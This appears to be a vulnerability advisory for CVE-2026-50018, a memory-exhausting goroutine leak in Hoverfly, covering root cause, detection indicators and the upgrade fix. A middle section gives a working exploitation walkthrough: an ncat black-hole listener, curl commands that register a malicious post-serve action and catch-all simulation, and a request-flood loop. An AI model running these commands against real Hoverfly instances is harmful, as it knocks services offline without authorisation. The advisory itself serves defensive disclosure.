CVE-2026-50018: 
Análise e mitigação de vulnerabilidades

CVE-2026-50018 is a Denial of Service vulnerability in SpectoLabs Hoverfly caused by a goroutine leak in remote post-serve actions. The vulnerability affects all versions of github.com/SpectoLabs/hoverfly up to and including v1.12.7, and was patched in v1.12.8. It was first published as GHSA-42j2-w334-qxw7 on June 3, 2026, and added to the GitHub Advisory Database on July 14, 2026. The CVSS v3.1 base score is 6.5 (Medium) (GitHub Advisory, Hoverfly Advisory).

The root cause is uncontrolled resource consumption (CWE-400, CWE-770) stemming from the use of Go's http.DefaultClient — which has no timeout by default — inside unbounded goroutines spawned for remote post-serve actions. In core/hoverfly.go:224-228, each matching proxy request launches a new goroutine via go postServeAction.Execute(...) with no recovery wrapper, cap, or backpressure mechanism. In core/action/action.go:128-143, the HTTP call http.DefaultClient.Do(req) blocks indefinitely if the remote endpoint accepts the TCP connection but never responds, completes a TLS handshake, or uses TCP window size 0. Because the only exit path from Execute() is a completed HTTP response, goroutines targeting a non-responsive server are never cleaned up, causing unbounded memory growth at approximately 66 KB per goroutine (GitHub Advisory, Hoverfly Advisory).

Successful exploitation results in complete denial of service through memory exhaustion and an OOM-triggered process crash. Since Hoverfly's admin API is unauthenticated by default, an attacker can register a malicious remote post-serve action, load a catch-all simulation, and then flood the proxy with requests — each permanently leaking a goroutine and ~66 KB of memory. Empirical testing on v1.12.7 demonstrated that 10,000 requests leak approximately 640 MB, and 100,000 requests would exhaust ~6.4 GB of memory, crashing the process. There is no confidentiality or integrity impact; the vulnerability is limited to availability (GitHub Advisory).

A public proof-of-concept is included in the official security advisory, detailing exact curl commands and shell scripts to reproduce the goroutine leak. Exploitation requires no privileges (the admin API is unauthenticated by default) but does require user interaction in the CVSS sense — an operator must have a remote post-serve action configured, or an attacker must be able to register one via the admin API. No evidence of in-the-wild exploitation, threat actor attribution, or CISA KEV catalog listing has been reported. No EPSS score is currently available for this CVE (GitHub Advisory, Hoverfly Advisory).

1. Reconnaissance: Identify a Hoverfly instance running v1.12.7 or earlier with the admin API accessible (default port 8888). The admin API is unauthenticated by default.
2. Set up a black-hole endpoint: Start a TCP listener that accepts connections but never responds, e.g., ncat -l -k 9999 &, or use a non-routable IP such as 192.0.2.1 (TEST-NET-1) which causes TCP SYN to hang indefinitely.
3. Register a malicious remote post-serve action: Use the admin API to register an action pointing to the black-hole endpoint:

curl -X PUT http://localhost:8888/api/v2/hoverfly/post-serve-action \
  -H "Content-Type: application/json" \
  -d '{"actionName": "leak", "remote": "http://192.0.2.1:9999/blackhole", "delayInMs": 0}'

4. Load a catch-all simulation: Configure Hoverfly to trigger the malicious action on every proxied request:

curl -X PUT http://localhost:8888/api/v2/simulation \
  -H "Content-Type: application/json" \
  -d '{"data": {"pairs": [{"request": {"path": [{"matcher": "glob", "value": "*"}]}, "response": {"status": 200, "body": "ok", "postServeAction": "leak"}}], "globalActions": {"delays": [], "delaysLogNormal": []}}, "meta": {"schemaVersion": "v5.2"}}'

5. Flood the proxy with requests: Send a high volume of requests through the Hoverfly proxy (default port 8500), each spawning an immortal goroutine:

for i in $(seq 1 10000); do
  curl -s -x http://localhost:8500 "http://target.com/req${i}" &
  [ $((i % 100)) -eq 0 ] && wait
done

6. Achieve DoS: Each request permanently leaks a goroutine (~66 KB). At 10,000 requests, ~640 MB is leaked; at 100,000 requests, the process crashes with an OOM kill (GitHub Advisory, Hoverfly Advisory).

• Network: Unexpected PUT requests to http://<hoverfly-host>:8888/api/v2/hoverfly/post-serve-action registering remote actions pointing to external or non-routable IPs; large volumes of outbound TCP connections from the Hoverfly process to a single external host that never complete (persistent SYN_SENT or ESTABLISHED with no data transfer).
• Process: Rapidly increasing memory consumption of the Hoverfly process (RSS growing at ~66 KB per proxied request); unusually high goroutine count observable via Hoverfly's /api/v2/hoverfly metrics or Go runtime profiling endpoints if exposed.
• Logs: Hoverfly admin API logs showing PUT requests to /api/v2/hoverfly/post-serve-action and /api/v2/simulation from unexpected source IPs; absence of HTTP response log entries for remote post-serve action calls (goroutines never complete).
• System: OOM killer events in system logs (e.g., dmesg or /var/log/syslog showing Out of memory: Kill process <hoverfly-pid>) following a spike in proxy traffic (GitHub Advisory).

Upgrade Hoverfly to v1.12.8, which replaces http.DefaultClient with a dedicated *http.Client configured with a 30-second timeout, ensuring all in-flight remote post-serve action goroutines are guaranteed to terminate. The fix was merged in PR #1228 and released on May 31, 2026. As a workaround for those unable to upgrade immediately, restrict access to the Hoverfly admin API (port 8888) using network-level controls (firewall rules, authentication proxies) to prevent unauthorized registration of remote post-serve actions (Hoverfly Release, Fix PR).